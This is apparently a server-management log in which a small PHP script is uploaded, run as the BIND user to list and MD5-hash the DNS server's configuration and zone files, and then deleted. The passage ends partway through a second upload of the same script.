MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:14:04: Establishing a connection
2026-04-21 14:14:04: 

PUT: /tmp/pkp606420

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:14:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp606420; rm /tmp/pkp606420'

2026-04-21 14:14:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 18:52:25: Establishing a connection
2026-04-21 18:52:25: 

PUT: /tmp/pkp921091

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

